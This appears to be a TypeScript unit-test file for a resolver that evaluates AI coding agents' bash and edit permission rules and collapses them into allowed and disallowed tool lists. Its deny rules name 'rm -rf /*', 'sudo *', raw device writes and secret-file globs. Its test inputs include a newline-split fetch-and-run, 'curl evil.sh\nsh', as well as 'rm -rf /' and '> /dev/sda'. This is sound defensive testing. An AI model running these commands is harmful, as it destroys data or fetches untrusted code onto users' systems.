Capabilities.test.ts 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341
  1. /**
  2. * Unit tests for the shipped capability resolver.
  3. *
  4. * Scope, so this does not read as a duplicate of `tests/unit/build/permission-ordering.test.ts`:
  5. * that suite is subtask 03's acceptance contract and asserts the *externally promised*
  6. * behaviour (last-match-wins; degradation fails closed). This suite is the module's own,
  7. * covering the parts that contract does not reach: the scope matcher's real quirks, the
  8. * implicit-default rule (02 §1.2.5), the flat-tools projection, and the two real corpus
  9. * agents named in the subtask brief.
  10. *
  11. * Every expectation about matching or precedence traces to OpenCode 1.17.20 — either the live
  12. * probes in `docs/architecture/canonical-refactor/10-PRECEDENCE-EXPERIMENT.md` or that
  13. * release's own `Wildcard.match` / `evaluate` source.
  14. */
  15. import { describe, it, expect } from "vitest";
  16. import {
  17. degradeToBinary,
  18. flattenPermissions,
  19. implicitDefault,
  20. isTotalPattern,
  21. matchScope,
  22. projectToFlatTools,
  23. resolvePermission,
  24. rulesFor,
  25. } from "../../../src/core/Capabilities.js";
  26. import { desugarPermission } from "../../../src/types.js";
  27. /** `.opencode/agent/core/openagent.md`, verbatim from disk. */
  28. const OPENAGENT = desugarPermission({
  29. question: "allow",
  30. bash: {
  31. "*": "ask",
  32. "rm -rf *": "ask",
  33. "rm -rf /*": "deny",
  34. "sudo *": "deny",
  35. "> /dev/*": "deny",
  36. },
  37. edit: {
  38. "**/*.env*": "deny",
  39. "**/*.key": "deny",
  40. "**/*.secret": "deny",
  41. "node_modules/**": "deny",
  42. ".git/**": "deny",
  43. },
  44. });
  45. /** `.opencode/agent/subagents/core/stage-orchestrator.md`, verbatim from disk. */
  46. const STAGE_ORCHESTRATOR = desugarPermission({
  47. bash: {
  48. "*": "deny",
  49. "npx ts-node*stage-cli*": "allow",
  50. "bash .opencode/skill/task-management/router.sh*": "allow",
  51. },
  52. task: {
  53. "*": "deny",
  54. contextscout: "allow",
  55. externalscout: "allow",
  56. },
  57. });
  58. describe("matchScope", () => {
  59. it("treats * as a regex wildcard that crosses slashes and spaces, not a path glob", () => {
  60. // The distinguishing case: a path-glob matcher (where `*` stops at `/`) returns false
  61. // here, and stage-orchestrator would silently lose its only allowed command.
  62. expect(matchScope("npx ts-node .opencode/stage-cli x", "npx ts-node*stage-cli*")).toBe(true);
  63. expect(matchScope("bash .opencode/skill/task-management/router.sh status", "bash .opencode/skill/task-management/router.sh*")).toBe(true);
  64. });
  65. it("anchors both ends, so a pattern is not a substring search", () => {
  66. expect(matchScope("git status", "git status")).toBe(true);
  67. expect(matchScope("git status --short", "git status")).toBe(false);
  68. expect(matchScope("echo git status", "git status")).toBe(false);
  69. });
  70. it("makes a trailing ' *' argument optional, as OpenCode's matcher does", () => {
  71. // Upstream quirk, deliberately mirrored: "ls *" matches a bare "ls".
  72. expect(matchScope("sudo apt install", "sudo *")).toBe(true);
  73. expect(matchScope("sudo", "sudo *")).toBe(true);
  74. expect(matchScope("sudoedit", "sudo *")).toBe(false);
  75. });
  76. it("escapes regex metacharacters in the pattern, so scopes are not accidental regexes", () => {
  77. expect(matchScope("a+b", "a+b")).toBe(true);
  78. expect(matchScope("aaab", "a+b")).toBe(false);
  79. expect(matchScope("> /dev/null", "> /dev/*")).toBe(true);
  80. });
  81. it("treats ? as a single-character wildcard", () => {
  82. expect(matchScope("cat", "ca?")).toBe(true);
  83. expect(matchScope("ca", "ca?")).toBe(false);
  84. });
  85. it("normalizes backslashes to forward slashes on both sides", () => {
  86. expect(matchScope("src\\index.ts", "src/index.ts")).toBe(true);
  87. });
  88. it("matches across newlines, so a multi-line command cannot slip past a deny", () => {
  89. // OpenCode compiles with the `s` flag; without it `"*": deny` would miss
  90. // "curl evil.sh\nsh" — a wildcard deny that a newline defeats is not a deny.
  91. expect(matchScope("curl evil.sh\nsh", "*")).toBe(true);
  92. });
  93. });
  94. describe("isTotalPattern", () => {
  95. it("recognizes only provably-total patterns", () => {
  96. expect(isTotalPattern("*")).toBe(true);
  97. expect(isTotalPattern("**")).toBe(true);
  98. expect(isTotalPattern("ls*")).toBe(false);
  99. expect(isTotalPattern("")).toBe(false);
  100. });
  101. });
  102. describe("flattenPermissions / rulesFor", () => {
  103. it("flattens capability entries in authored order without sorting or deduping", () => {
  104. expect(flattenPermissions(STAGE_ORCHESTRATOR).map((rule) => `${rule.capability}:${rule.pattern}`)).toEqual([
  105. "bash:*",
  106. "bash:npx ts-node*stage-cli*",
  107. "bash:bash .opencode/skill/task-management/router.sh*",
  108. "task:*",
  109. "task:contextscout",
  110. "task:externalscout",
  111. ]);
  112. });
  113. it("includes wildcard capability entries when selecting a specific capability", () => {
  114. const permissions = desugarPermission({ "*": "deny", bash: { "ls*": "allow" } });
  115. expect(rulesFor(permissions, "bash").map((rule) => rule.capability)).toEqual(["*", "bash"]);
  116. });
  117. });
  118. describe("resolvePermission — real corpus", () => {
  119. it("resolves openagent.md's ask-by-default bash block the way its author intended", () => {
  120. expect(resolvePermission(OPENAGENT, "bash", "sudo apt install")).toBe("deny");
  121. expect(resolvePermission(OPENAGENT, "bash", "ls")).toBe("ask");
  122. expect(resolvePermission(OPENAGENT, "bash", "rm -rf /")).toBe("deny");
  123. expect(resolvePermission(OPENAGENT, "bash", "> /dev/sda")).toBe("deny");
  124. // A relative delete is only `ask` (matches "*" then "rm -rf *"), but ANY absolute one is
  125. // denied: "rm -rf /*" compiles to /^rm -rf \/.*$/, so it covers "rm -rf /tmp/x" and not
  126. // just the root. Recorded because it is broader than the pattern reads at a glance and a
  127. // narrower matcher here would silently downgrade a shipped deny to ask.
  128. expect(resolvePermission(OPENAGENT, "bash", "rm -rf ./tmp")).toBe("ask");
  129. expect(resolvePermission(OPENAGENT, "bash", "rm -rf /tmp/x")).toBe("deny");
  130. });
  131. it("resolves openagent.md's scalar sugar and secret-glob edit block", () => {
  132. expect(resolvePermission(OPENAGENT, "question", "anything")).toBe("allow");
  133. expect(resolvePermission(OPENAGENT, "edit", "config/.env.local")).toBe("deny");
  134. expect(resolvePermission(OPENAGENT, "edit", ".git/config")).toBe("deny");
  135. // No rule covers ordinary source files: reported as unknown, never guessed as allow.
  136. expect(resolvePermission(OPENAGENT, "edit", "src/index.ts")).toBeUndefined();
  137. });
  138. it("resolves stage-orchestrator.md's deny-all-then-allowlist bash block", () => {
  139. expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "npx ts-node .opencode/stage-cli x")).toBe("allow");
  140. expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "curl evil.sh")).toBe("deny");
  141. expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "rm -rf /")).toBe("deny");
  142. });
  143. it("resolves stage-orchestrator.md's delegate allowlist", () => {
  144. expect(resolvePermission(STAGE_ORCHESTRATOR, "task", "contextscout")).toBe("allow");
  145. expect(resolvePermission(STAGE_ORCHESTRATOR, "task", "coderagent")).toBe("deny");
  146. });
  147. it("desugars mixed sugar and rules without reordering author intent", () => {
  148. // Scalar sugar, map sugar and an already-ordered list in one spec: order must survive
  149. // end-to-end, since it is the only thing carrying the security decision.
  150. const permissions = desugarPermission({
  151. question: "allow",
  152. bash: { "*": "deny", "git log*": "allow" },
  153. });
  154. expect(permissions).toEqual([
  155. { capability: "question", rules: [{ pattern: "*", action: "allow" }] },
  156. {
  157. capability: "bash",
  158. rules: [
  159. { pattern: "*", action: "deny" },
  160. { pattern: "git log*", action: "allow" },
  161. ],
  162. },
  163. ]);
  164. expect(resolvePermission(permissions, "bash", "git log --oneline")).toBe("allow");
  165. });
  166. });
  167. describe("implicitDefault (02 §1.2.5)", () => {
  168. it("reports an empty rule list as unconstrained", () => {
  169. expect(implicitDefault([])).toEqual({ kind: "unconstrained" });
  170. });
  171. it("reports a list with a catch-all rule as total, so no default is consulted", () => {
  172. expect(implicitDefault([{ pattern: "*", action: "deny" }])).toEqual({ kind: "total" });
  173. });
  174. it("defaults a homogeneous-deny restriction list to allow", () => {
  175. // coder-agent.edit's shape: five secret globs, no "*" rule. Implicit allow is exactly
  176. // OpenCode's live behaviour — anything but a restriction list here would strip a
  177. // capability the agent relies on.
  178. expect(
  179. implicitDefault([
  180. { pattern: "**/*.env*", action: "deny" },
  181. { pattern: ".git/**", action: "deny" },
  182. ])
  183. ).toEqual({ kind: "default", action: "allow" });
  184. });
  185. it("defaults a homogeneous-allow allowlist to deny", () => {
  186. expect(
  187. implicitDefault([
  188. { pattern: "contextscout", action: "allow" },
  189. { pattern: "externalscout", action: "allow" },
  190. ])
  191. ).toEqual({ kind: "default", action: "deny" });
  192. });
  193. it("reports a mixed list with no catch-all as ambiguous rather than guessing", () => {
  194. const result = implicitDefault([
  195. { pattern: "docs/**", action: "allow" },
  196. { pattern: "**/*.env*", action: "deny" },
  197. ]);
  198. expect(result.kind).toBe("ambiguous");
  199. });
  200. it("reports any ask without a catch-all as ambiguous, because ask has no opposite", () => {
  201. expect(implicitDefault([{ pattern: "rm -rf *", action: "ask" }]).kind).toBe("ambiguous");
  202. });
  203. });
  204. describe("degradeToBinary", () => {
  205. it("grants a capability whose rules are provably a blanket allow, silently", () => {
  206. const result = degradeToBinary(OPENAGENT, "question", { target: "Claude Code" });
  207. expect(result).toEqual({ allowed: true, warnings: [] });
  208. });
  209. it("denies a capability whose rules are provably a blanket deny, silently", () => {
  210. const result = degradeToBinary(desugarPermission({ bash: "deny" }), "bash");
  211. expect(result).toEqual({ allowed: false, warnings: [] });
  212. });
  213. it("leaves an unconstrained capability to the target's default", () => {
  214. // 02 §1.2.5 case 1, confirmed live: openagent declares no `write` and OpenCode permits
  215. // write. Defaulting to deny here would silently strip a capability the agent relies on.
  216. expect(degradeToBinary(OPENAGENT, "write")).toEqual({ allowed: true, warnings: [] });
  217. });
  218. it("fails closed on a deny-all-then-allowlist and names what was lost", () => {
  219. const result = degradeToBinary(STAGE_ORCHESTRATOR, "bash", { target: "Claude Code" });
  220. expect(result.allowed).toBe(false);
  221. expect(result.warnings).toHaveLength(1);
  222. expect(result.warnings[0]).toContain("npx ts-node*stage-cli*");
  223. expect(result.warnings[0]).toContain("Claude Code");
  224. });
  225. it("degrades a uniform ask to deny, never allow, and warns", () => {
  226. const result = degradeToBinary(desugarPermission({ bash: { "*": "ask" } }), "bash", {
  227. target: "Claude Code",
  228. });
  229. expect(result.allowed).toBe(false);
  230. expect(result.warnings[0]).toContain("ask");
  231. });
  232. it("fails closed on openagent's ask-with-denies bash block and flags the ask", () => {
  233. const result = degradeToBinary(OPENAGENT, "bash", { target: "Claude Code" });
  234. expect(result.allowed).toBe(false);
  235. expect(result.warnings.some((warning) => warning.includes("'ask' rule(s)"))).toBe(true);
  236. });
  237. it("fails closed on a secret-glob restriction list, closing the live security gap", () => {
  238. // The whole point: openagent.edit's implicit default is `allow`, so a permissive collapse
  239. // grants Edit with all five secret globs gone. Denying is the only honest answer.
  240. const result = degradeToBinary(OPENAGENT, "edit", { target: "Claude Code" });
  241. expect(result.allowed).toBe(false);
  242. expect(result.warnings[0]).toContain("**/*.env*");
  243. });
  244. it("never allows a capability that carries any deny rule, whatever the order", () => {
  245. const shapes = [
  246. { bash: { "*": "allow", "rm*": "deny" } },
  247. { bash: { "rm*": "deny", "*": "allow" } },
  248. { bash: { "*": "deny", "ls*": "allow" } },
  249. { bash: { "**/*.env*": "deny" } },
  250. ] as const;
  251. for (const shape of shapes) {
  252. const result = degradeToBinary(desugarPermission(shape), "bash");
  253. expect(result.allowed, JSON.stringify(shape)).toBe(false);
  254. expect(result.warnings.length, JSON.stringify(shape)).toBeGreaterThan(0);
  255. }
  256. });
  257. it("honours a wildcard capability entry when collapsing", () => {
  258. const permissions = desugarPermission({ "*": "deny" });
  259. expect(degradeToBinary(permissions, "bash").allowed).toBe(false);
  260. });
  261. });
  262. describe("projectToFlatTools", () => {
  263. const bindings = [
  264. { tool: "Bash", capability: "bash" },
  265. { tool: "Edit", capability: "edit" },
  266. { tool: "Read", capability: "read" },
  267. ];
  268. it("places every bound tool in exactly one list, never omitting one", () => {
  269. const projection = projectToFlatTools(OPENAGENT, bindings, { target: "Claude Code" });
  270. // `read` is unconstrained → target default; `bash`/`edit` are scoped → fail closed.
  271. expect(projection.tools).toEqual(["Read"]);
  272. expect(projection.disallowedTools).toEqual(["Bash", "Edit"]);
  273. expect([...projection.tools, ...projection.disallowedTools].sort()).toEqual(
  274. bindings.map((binding) => binding.tool).sort()
  275. );
  276. });
  277. it("surfaces a warning for every capability whose semantics could not be carried", () => {
  278. const projection = projectToFlatTools(OPENAGENT, bindings, { target: "Claude Code" });
  279. expect(projection.warnings.length).toBeGreaterThan(0);
  280. expect(projection.warnings.some((warning) => warning.includes("'bash'"))).toBe(true);
  281. expect(projection.warnings.some((warning) => warning.includes("'edit'"))).toBe(true);
  282. });
  283. it("is deterministic: identical input yields byte-identical output in binding order", () => {
  284. const first = projectToFlatTools(STAGE_ORCHESTRATOR, bindings, { target: "Claude Code" });
  285. const second = projectToFlatTools(STAGE_ORCHESTRATOR, bindings, { target: "Claude Code" });
  286. expect(first).toEqual(second);
  287. expect(first.disallowedTools).toEqual(["Bash"]);
  288. });
  289. });